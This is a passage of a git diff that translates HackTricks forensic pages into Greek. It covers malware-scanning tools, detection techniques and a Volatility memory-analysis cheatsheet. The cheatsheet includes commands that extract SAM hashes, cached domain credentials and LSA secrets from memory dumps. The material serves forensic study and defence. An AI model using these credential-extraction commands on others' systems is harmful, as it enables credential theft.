[https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. - +Χρησιμοποιήστε αυτό το σενάριο για να κατεβάσετε και να συγχωνεύσετε όλους τους κανόνες yara malware από το github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +Δημιουργήστε τον φάκελο _**rules**_ και εκτελέστε το. Αυτό θα δημιουργήσει ένα αρχείο με όνομα _**malware_rules.yar**_ που περιέχει όλους τους κανόνες yara για malware. ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py ``` - -#### Scan - +#### Σάρωση ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan the whole folder ``` +#### YaraGen: Έλεγχος για κακόβουλο λογισμικό και Δημιουργία κανόνων -#### YaraGen: Check for malware and Create rules - -You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) - +Μπορείτε να χρησιμοποιήσετε το εργαλείο [**YaraGen**](https://github.com/Neo23x0/yarGen) για να δημιουργήσετε κανόνες yara από ένα δυαδικό αρχείο. Δείτε αυτά τα σεμινάρια: [**Μέρος 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Μέρος 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Μέρος 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) ```bash - python3 yarGen.py --update - python3.exe yarGen.py --excludegood -m ../../mals/ +python3 yarGen.py --update +python3.exe yarGen.py --excludegood -m ../../mals/ ``` - ### ClamAV -#### Install - +#### Εγκατάσταση ``` sudo apt-get install -y clamav ``` - -#### Scan - +#### Σάρωση ```bash sudo freshclam #Update rules clamscan filepath #Scan 1 file clamscan folderpath #Scan the whole folder ``` - ### [Capa](https://github.com/mandiant/capa) -**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as: +**Capa** ανιχνεύει δυνητικά κακόβουλες **ικανότητες** σε εκτελέσιμα: PE, ELF, .NET. Έτσι θα βρει πράγματα όπως τακτικές Att\&ck ή ύποπτες ικανότητες όπως: -- check for OutputDebugString error -- run as a service -- create process +- έλεγχος για σφάλμα OutputDebugString +- εκτέλεση ως υπηρεσία +- δημιουργία διαδικασίας -Get it int he [**Github repo**](https://github.com/mandiant/capa). +Αποκτήστε το στο [**Github repo**](https://github.com/mandiant/capa). ### IOCs -IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\ -To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. +IOC σημαίνει Δείκτης Συμβιβασμού. Ένα IOC είναι ένα σύνολο **συνθηκών που προσδιορίζουν** κάποιο δυνητικά ανεπιθύμητο λογισμικό ή επιβεβαιωμένο **κακόβουλο λογισμικό**. Οι Blue Teams χρησιμοποιούν αυτόν τον τύπο ορισμού για να **αναζητούν αυτόν τον τύπο κακόβουλων αρχείων** στα **συστήματα** και **δίκτυά** τους.\ +Η κοινοποίηση αυτών των ορισμών είναι πολύ χρήσιμη καθώς όταν εντοπίζεται κακόβουλο λογισμικό σε έναν υπολογιστή και δημιουργείται ένα IOC για αυτό το κακόβουλο λογισμικό, άλλες Blue Teams μπορούν να το χρησιμοποιήσουν για να εντοπίσουν το κακόβουλο λογισμικό πιο γρήγορα. -A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**. +Ένα εργαλείο για τη δημιουργία ή την τροποποίηση IOCs είναι το [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ +Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**Redline**](https://www.fireeye.com/services/freeware/redline.html) για να **αναζητήσετε καθορισμένα IOCs σε μια συσκευή**. ### Loki -[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\ -Detection is based on four detection methods: - +[**Loki**](https://github.com/Neo23x0/Loki) είναι ένας σαρωτής για Απλούς Δείκτες Συμβιβασμού.\ +Η ανίχνευση βασίζεται σε τέσσερις μεθόδους ανίχνευσης: ``` 1. File Name IOC - Regex match on full file path/name +Regex match on full file path/name 2. Yara Rule Check - Yara signature matches on file data and process memory +Yara signature matches on file data and process memory 3. Hash Check - Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files +Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files 4. C2 Back Connect Check - Compares process connection endpoints with C2 IOCs (new since version v.10) +Compares process connection endpoints with C2 IOCs (new since version v.10) ``` - ### Linux Malware Detect -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources. +[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) είναι ένας σαρωτής κακόβουλου λογισμικού για Linux που κυκλοφορεί υπό την άδεια GNU GPLv2, σχεδιασμένος γύρω από τις απειλές που αντιμετωπίζονται σε κοινές φιλοξενούμενες περιβάλλοντα. Χρησιμοποιεί δεδομένα απειλών από συστήματα ανίχνευσης εισβολών στο δίκτυο για να εξάγει κακόβουλο λογισμικό που χρησιμοποιείται ενεργά σε επιθέσεις και δημιουργεί υπογραφές για ανίχνευση. Επιπλέον, τα δεδομένα απειλών προέρχονται επίσης από υποβολές χρηστών με τη δυνατότητα checkout του LMD και πόρους της κοινότητας κακόβουλου λογισμικού. ### rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. - +Εργαλεία όπως το [**rkhunter**](http://rkhunter.sourceforge.net) μπορούν να χρησιμοποιηθούν για να ελέγξουν το σύστημα αρχείων για πιθανά **rootkits** και κακόβουλο λογισμικό. ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] ``` - ### FLOSS -[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques. +[**FLOSS**](https://github.com/mandiant/flare-floss) είναι ένα εργαλείο που θα προσπαθήσει να βρει κωδικοποιημένες συμβολοσειρές μέσα σε εκτελέσιμα χρησιμοποιώντας διάφορες τεχνικές. ### PEpper -[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). +[PEpper ](https://github.com/Th3Hurrican3/PEpper)ελέγχει κάποια βασικά στοιχεία μέσα στο εκτελέσιμο (δυαδικά δεδομένα, εντροπία, URLs και IPs, κάποιους κανόνες yara). ### PEstudio -[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques. +[PEstudio](https://www.winitor.com/download) είναι ένα εργαλείο που επιτρέπει την απόκτηση πληροφοριών για εκτελέσιμα Windows όπως εισαγωγές, εξαγωγές, κεφαλίδες, αλλά θα ελέγξει επίσης το virus total και θα βρει πιθανές τεχνικές Att\&ck. ### Detect It Easy(DiE) -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**. +[**DiE**](https://github.com/horsicq/Detect-It-Easy/) είναι ένα εργαλείο για να ανιχνεύει αν ένα αρχείο είναι **κρυπτογραφημένο** και επίσης να βρίσκει **πακετάρισμα**. ### NeoPI -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)είναι ένα σενάριο Python που χρησιμοποιεί μια ποικιλία **στατιστικών μεθόδων** για να ανιχνεύει **κωδικοποιημένο** και **κρυπτογραφημένο** περιεχόμενο μέσα σε αρχεία κειμένου/σεναρίων. Ο προορισμός του NeoPI είναι να βοηθήσει στην **ανίχνευση κρυφού κώδικα web shell**. ### **php-malware-finder** -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. +[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) κάνει το καλύτερο δυνατό για να ανιχνεύσει **κωδικοποιημένο**/**ύποπτο κώδικα** καθώς και αρχεία που χρησιμοποιούν **συναρτήσεις PHP** που συχνά χρησιμοποιούνται σε **malwares**/webshells. ### Apple Binary Signatures -When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** - +Όταν ελέγχετε κάποιο **δείγμα malware** θα πρέπει πάντα να **ελέγχετε την υπογραφή** του δυαδικού, καθώς ο **προγραμματιστής** που το υπέγραψε μπορεί ήδη να είναι **σχετικός** με **malware.** ```bash #Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -154,19 +137,18 @@ codesign --verify --verbose /Applications/Safari.app #Check if the signature is valid spctl --assess --verbose /Applications/Safari.app ``` +## Τεχνικές Ανίχνευσης -## Detection Techniques +### Συσσώρευση Αρχείων -### File Stacking +Αν γνωρίζετε ότι κάποιο φάκελο που περιέχει τα **αρχεία** ενός web server **ενημερώθηκε τελευταία σε κάποια ημερομηνία**. **Ελέγξτε** την **ημερομηνία** που δημιουργήθηκαν και τροποποιήθηκαν όλα τα **αρχεία** στον **web server** και αν κάποια ημερομηνία είναι **ύποπτη**, ελέγξτε αυτό το αρχείο. -If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. +### Βασικές Γραμμές -### Baselines +Αν τα αρχεία ενός φακέλου **δεν έπρεπε να έχουν τροποποιηθεί**, μπορείτε να υπολογίσετε το **hash** των **αρχικών αρχείων** του φακέλου και να **συγκρίνετε** τα με τα **τρέχοντα**. Οτιδήποτε τροποποιηθεί θα είναι **ύποπτο**. -If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. +### Στατιστική Ανάλυση -### Statistical Analysis - -When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**. +Όταν οι πληροφορίες αποθηκεύονται σε logs μπορείτε να **ελέγξετε στατιστικά όπως πόσες φορές κάθε αρχείο ενός web server προσπελάστηκε καθώς ένα web shell μπορεί να είναι ένα από τα πιο**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md index 1c8be749a..de97f8fb1 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,49 +1,37 @@ -# Memory dump analysis +# Ανάλυση μνήμης {{#include ../../../banners/hacktricks-training.md}} -
+## Έναρξη -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Start - -Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). +Ξεκινήστε **αναζητώντας** **κακόβουλο λογισμικό** μέσα στο pcap. Χρησιμοποιήστε τα **εργαλεία** που αναφέρονται στο [**Malware Analysis**](../malware-analysis.md). ## [Volatility](volatility-cheatsheet.md) -**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations. +**Το Volatility είναι το κύριο ανοιχτού κώδικα πλαίσιο για την ανάλυση μνήμης**. Αυτό το εργαλείο Python αναλύει dumps από εξωτερικές πηγές ή VMware VMs, αναγνωρίζοντας δεδομένα όπως διαδικασίες και κωδικούς πρόσβασης με βάση το προφίλ OS του dump. Είναι επεκτάσιμο με plugins, καθιστώντας το πολύ ευέλικτο για ποινικές έρευνες. -[**Find here a cheatsheet**](volatility-cheatsheet.md) +[**Βρείτε εδώ ένα cheatsheet**](volatility-cheatsheet.md) -## Mini dump crash report +## Αναφορά σφάλματος mini dump -When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump. +Όταν το dump είναι μικρό (μόνο μερικά KB, ίσως μερικά MB) τότε πιθανότατα πρόκειται για αναφορά σφάλματος mini dump και όχι για dump μνήμης. ![](<../../../images/image (532).png>) -If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed: +Αν έχετε εγκατεστημένο το Visual Studio, μπορείτε να ανοίξετε αυτό το αρχείο και να συνδέσετε κάποιες βασικές πληροφορίες όπως το όνομα της διαδικασίας, την αρχιτεκτονική, τις πληροφορίες εξαίρεσης και τα εκτελούμενα modules: ![](<../../../images/image (263).png>) -You can also load the exception and see the decompiled instructions +Μπορείτε επίσης να φορτώσετε την εξαίρεση και να δείτε τις αποσυμπιεσμένες εντολές ![](<../../../images/image (142).png>) ![](<../../../images/image (610).png>) -Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump. +Ούτως ή άλλως, το Visual Studio δεν είναι το καλύτερο εργαλείο για να εκτελέσετε μια ανάλυση βάθους του dump. -You should **open** it using **IDA** or **Radare** to inspection it in **depth**. +Πρέπει να το **ανοίξετε** χρησιμοποιώντας **IDA** ή **Radare** για να το επιθεωρήσετε σε **βάθος**. ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md index f6a63c08f..c6bb3d4e7 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md @@ -4,13 +4,8 @@ ​ -
- -​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} -If you need a tool that automates memory analysis with different scan levels and runs multiple Volatility3 plugins in parallel, you can use autoVolatility3:: [https://github.com/H3xKatana/autoVolatility3/](https://github.com/H3xKatana/autoVolatility3/) +Αν χρειάζεστε ένα εργαλείο που αυτοματοποιεί την ανάλυση μνήμης με διαφορετικά επίπεδα σάρωσης και εκτελεί πολλαπλά plugins του Volatility3 παράλληλα, μπορείτε να χρησιμοποιήσετε το autoVolatility3:: [https://github.com/H3xKatana/autoVolatility3/](https://github.com/H3xKatana/autoVolatility3/) ```bash # Full scan (runs all plugins) python3 autovol3.py -f MEMFILE -o OUT_DIR -s full @@ -22,66 +17,57 @@ python3 autovol3.py -f MEMFILE -o OUT_DIR -s minimal python3 autovol3.py -f MEMFILE -o OUT_DIR -s normal ``` - -If you want something **fast and crazy** that will launch several Volatility plugins on parallel you can use: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) - +Αν θέλετε κάτι **γρήγορο και τρελό** που θα εκκινήσει αρκετά plugins του Volatility παράλληλα, μπορείτε να χρησιμοποιήσετε: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) ```bash python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # It will use the most important plugins (could use a lot of space depending on the size of the memory) ``` - -## Installation +## Εγκατάσταση ### volatility3 - ```bash git clone https://github.com/volatilityfoundation/volatility3.git cd volatility3 python3 setup.py install python3 vol.py —h ``` - ### volatility2 {{#tabs}} {{#tab name="Method1"}} - ``` Download the executable from https://www.volatilityfoundation.org/26 ``` - {{#endtab}} -{{#tab name="Method 2"}} - +{{#tab name="Μέθοδος 2"}} ```bash git clone https://github.com/volatilityfoundation/volatility.git cd volatility python setup.py install ``` - {{#endtab}} {{#endtabs}} -## Volatility Commands +## Εντολές Volatility -Access the official doc in [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) +Πρόσβαση στην επίσημη τεκμηρίωση στο [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) -### A note on “list” vs. “scan” plugins +### Σημείωση σχετικά με τα plugins “list” και “scan” -Volatility has two main approaches to plugins, which are sometimes reflected in their names. “list” plugins will try to navigate through Windows Kernel structures to retrieve information like processes (locate and walk the linked list of `_EPROCESS` structures in memory), OS handles (locating and listing the handle table, dereferencing any pointers found, etc). They more or less behave like the Windows API would if requested to, for example, list processes. +Το Volatility έχει δύο κύριες προσεγγίσεις για τα plugins, οι οποίες μερικές φορές αντικατοπτρίζονται στα ονόματά τους. Τα plugins “list” θα προσπαθήσουν να πλοηγηθούν μέσα από τις δομές του Windows Kernel για να ανακτήσουν πληροφορίες όπως διαδικασίες (να εντοπίσουν και να περιηγηθούν στη συνδεδεμένη λίστα των δομών `_EPROCESS` στη μνήμη), χειριστές OS (εντοπισμός και καταγραφή του πίνακα χειριστών, αποαναφορά οποιωνδήποτε δεικτών βρεθούν, κ.λπ.). Συμπεριφέρονται περισσότερο ή λιγότερο όπως θα έκανε το Windows API αν ζητούνταν, για παράδειγμα, να καταγράψει διαδικασίες. -That makes “list” plugins pretty fast, but just as vulnerable as the Windows API to manipulation by malware. For instance, if malware uses DKOM to unlink a process from the `_EPROCESS` linked list, it won’t show up in the Task Manager and neither will it in the pslist. +Αυτό καθιστά τα plugins “list” αρκετά γρήγορα, αλλά εξίσου ευάλωτα όπως το Windows API σε χειρισμούς από κακόβουλο λογισμικό. Για παράδειγμα, αν το κακόβουλο λογισμικό χρησιμοποιήσει DKOM για να αποσυνδέσει μια διαδικασία από τη συνδεδεμένη λίστα `_EPROCESS`, δεν θα εμφανιστεί στον Διαχειριστή Εργασιών και ούτε θα εμφανιστεί στην pslist. -“scan” plugins, on the other hand, will take an approach similar to carving the memory for things that might make sense when dereferenced as specific structures. `psscan` for instance will read the memory and try to make`_EPROCESS` objects out of it (it uses pool-tag scanning, which is searching for 4-byte strings that indicate the presence of a structure of interest). The advantage is that it can dig up processes that have exited, and even if malware tampers with the `_EPROCESS` linked list, the plugin will still find the structure lying around in memory (since it still needs to exist for the process to run). The downfall is that “scan” plugins are a bit slower than “list” plugins, and can sometimes yield false positives (a process that exited too long ago and had parts of its structure overwritten by other operations). +Τα plugins “scan”, από την άλλη πλευρά, θα ακολουθήσουν μια προσέγγιση παρόμοια με την εκσκαφή της μνήμης για πράγματα που μπορεί να έχουν νόημα όταν αποαναφέρονται ως συγκεκριμένες δομές. Το `psscan` για παράδειγμα θα διαβάσει τη μνήμη και θα προσπαθήσει να δημιουργήσει αντικείμενα `_EPROCESS` από αυτήν (χρησιμοποιεί σάρωση pool-tag, η οποία αναζητά 4-byte strings που υποδεικνύουν την παρουσία μιας δομής ενδιαφέροντος). Το πλεονέκτημα είναι ότι μπορεί να ανακαλύψει διαδικασίες που έχουν τερματιστεί, και ακόμη και αν το κακόβουλο λογισμικό παραποιήσει τη συνδεδεμένη λίστα `_EPROCESS`, το plugin θα βρει ακόμα τη δομή που βρίσκεται στη μνήμη (καθώς πρέπει να υπάρχει για να εκτελείται η διαδικασία). Η αδυναμία είναι ότι τα plugins “scan” είναι λίγο πιο αργά από τα plugins “list”, και μερικές φορές μπορεί να δώσουν ψευδώς θετικά αποτελέσματα (μια διαδικασία που έχει τερματιστεί πολύ καιρό πριν και είχε μέρη της δομής της αντικατασταθεί από άλλες λειτουργίες). -From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) +Από: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) -## OS Profiles +## Προφίλ OS ### Volatility3 -As explained inside the readme you need to put the **symbol table of the OS** you want to support inside _volatility3/volatility/symbols_.\ -Symbol table packs for the various operating systems are available for **download** at: +Όπως εξηγείται μέσα στο readme, πρέπει να τοποθετήσετε τον **πίνακα συμβόλων του OS** που θέλετε να υποστηρίξετε μέσα στο _volatility3/volatility/symbols_.\ +Οι πακέτες πίνακα συμβόλων για τα διάφορα λειτουργικά συστήματα είναι διαθέσιμοι για **λήψη** στο: - [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip) - [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip) @@ -89,16 +75,13 @@ Symbol table packs for the various operating systems are available for **downloa ### Volatility2 -#### External Profile - -You can get the list of supported profiles doing: +#### Εξωτερικό Προφίλ +Μπορείτε να αποκτήσετε τη λίστα των υποστηριζόμενων προφίλ κάνοντας: ```bash ./volatility_2.6_lin64_standalone --info | grep "Profile" ``` - -If you want to use a **new profile you have downloaded** (for example a linux one) you need to create somewhere the following folder structure: _plugins/overlays/linux_ and put inside this folder the zip file containing the profile. Then, get the number of the profiles using: - +Αν θέλετε να χρησιμοποιήσετε ένα **νέο προφίλ που έχετε κατεβάσει** (για παράδειγμα ένα linux) πρέπει να δημιουργήσετε κάπου την εξής δομή φακέλων: _plugins/overlays/linux_ και να βάλετε μέσα σε αυτόν τον φάκελο το αρχείο zip που περιέχει το προφίλ. Στη συνέχεια, αποκτήστε τον αριθμό των προφίλ χρησιμοποιώντας: ```bash ./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info Volatility Foundation Volatility Framework 2.6 @@ -110,28 +93,22 @@ LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 - A Profile for Linux CentOS7_3.10 VistaSP0x64 - A Profile for Windows Vista SP0 x64 VistaSP0x86 - A Profile for Windows Vista SP0 x86 ``` +Μπορείτε να **κατεβάσετε προφίλ Linux και Mac** από [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) -You can **download Linux and Mac profiles** from [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) - -In the previous chunk you can see that the profile is called `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, and you can use it to execute something like: - +Στο προηγούμενο κομμάτι μπορείτε να δείτε ότι το προφίλ ονομάζεται `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, και μπορείτε να το χρησιμοποιήσετε για να εκτελέσετε κάτι όπως: ```bash ./vol -f file.dmp --plugins=. --profile=LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 linux_netscan ``` - -#### Discover Profile - +#### Ανακάλυψη Προφίλ ``` volatility imageinfo -f file.dmp volatility kdbgscan -f file.dmp ``` +#### **Διαφορές μεταξύ imageinfo και kdbgscan** -#### **Differences between imageinfo and kdbgscan** - -[**From here**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): As opposed to imageinfo which simply provides profile suggestions, **kdbgscan** is designed to positively identify the correct profile and the correct KDBG address (if there happen to be multiple). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and the number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile (or if you have a profile suggestion from imageinfo), then make sure you use it from . - -Always take a look at the **number of processes that kdbgscan has found**. Sometimes imageinfo and kdbgscan can find **more than one** suitable **profile** but only the **valid one will have some process related** (This is because to extract processes the correct KDBG address is needed) +[**Από εδώ**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): Σε αντίθεση με το imageinfo που απλώς παρέχει προτάσεις προφίλ, το **kdbgscan** έχει σχεδιαστεί για να προσδιορίζει θετικά το σωστό προφίλ και τη σωστή διεύθυνση KDBG (αν υπάρχουν πολλές). Αυτό το plugin σαρώνει για τις υπογραφές KDBGHeader που συνδέονται με τα προφίλ του Volatility και εφαρμόζει ελέγχους εγκυρότητας για να μειώσει τα ψευδώς θετικά αποτελέσματα. Η λεπτομέρεια της εξόδου και ο αριθμός των ελέγχων εγκυρότητας που μπορούν να εκτελούνται εξαρτάται από το αν το Volatility μπορεί να βρει ένα DTB, οπότε αν γνωρίζετε ήδη το σωστό προφίλ (ή αν έχετε μια πρόταση προφίλ από το imageinfo), τότε βεβαιωθείτε ότι το χρησιμοποιείτε από . +Πάντα να ρίχνετε μια ματιά στον **αριθμό διαδικασιών που έχει βρει το kdbgscan**. Μερικές φορές το imageinfo και το kdbgscan μπορούν να βρουν **περισσότερα από ένα** κατάλληλα **προφίλ** αλλά μόνο το **έγκυρο θα έχει κάποια διαδικασία σχετική** (Αυτό συμβαίνει επειδή για να εξάγουμε διαδικασίες χρειάζεται η σωστή διεύθυνση KDBG) ```bash # GOOD PsActiveProcessHead : 0xfffff800011977f0 (37 processes) @@ -143,89 +120,68 @@ PsLoadedModuleList : 0xfffff8000119aae0 (116 modules) PsActiveProcessHead : 0xfffff800011947f0 (0 processes) PsLoadedModuleList : 0xfffff80001197ac0 (0 modules) ``` - #### KDBG -The **kernel debugger block**, referred to as **KDBG** by Volatility, is crucial for forensic tasks performed by Volatility and various debuggers. Identified as `KdDebuggerDataBlock` and of the type `_KDDEBUGGER_DATA64`, it contains essential references like `PsActiveProcessHead`. This specific reference points to the head of the process list, enabling the listing of all processes, which is fundamental for thorough memory analysis. +Το **μπλοκ αποσφαλμάτωσης πυρήνα**, που αναφέρεται ως **KDBG** από το Volatility, είναι κρίσιμο για τις εγκληματολογικές εργασίες που εκτελούνται από το Volatility και διάφορους αποσφαλματωτές. Αναγνωρίζεται ως `KdDebuggerDataBlock` και τύπου `_KDDEBUGGER_DATA64`, περιέχει βασικές αναφορές όπως το `PsActiveProcessHead`. Αυτή η συγκεκριμένη αναφορά δείχνει στην κεφαλή της λίστας διεργασιών, επιτρέποντας την καταγραφή όλων των διεργασιών, που είναι θεμελιώδους σημασίας για λεπτομερή ανάλυση μνήμης. ## OS Information - ```bash #vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info) ./vol.py -f file.dmp windows.info.Info ``` +Ο plugin `banners.Banners` μπορεί να χρησιμοποιηθεί στο **vol3 για να προσπαθήσει να βρει linux banners** στο dump. -The plugin `banners.Banners` can be used in **vol3 to try to find linux banners** in the dump. +## Hashes/Κωδικοί πρόσβασης -## Hashes/Passwords - -Extract SAM hashes, [domain cached credentials](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) and [lsa secrets](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets). +Εξαγάγετε SAM hashes, [domain cached credentials](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) και [lsa secrets](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets). {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.hashdump.Hashdump #Grab common windows hashes (SAM+SYSTEM) ./vol.py -f file.dmp windows.cachedump.Cachedump #Grab domain cache hashes inside the registry ./vol.py -f file.dmp windows.lsadump.Lsadump #Grab lsa secrets ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 hashdump -f file.dmp #Grab common windows hashes (SAM+SYSTEM) volatility --profile=Win7SP1x86_23418 cachedump -f file.dmp #Grab domain cache hashes inside the registry volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets ``` - {{#endtab}} {{#endtabs}} -## Memory Dump - -The memory dump of a process will **extract everything** of the current status of the process. The **procdump** module will only **extract** the **code**. +## Εκχύλιση Μνήμης +Η εκχύλιση μνήμης μιας διαδικασίας θα **εξάγει τα πάντα** από την τρέχουσα κατάσταση της διαδικασίας. Το **procdump** module θα **εξάγει** μόνο τον **κώδικα**. ``` volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/ ``` +## Διαδικασίες -​ +### Λίστα διαδικασιών -
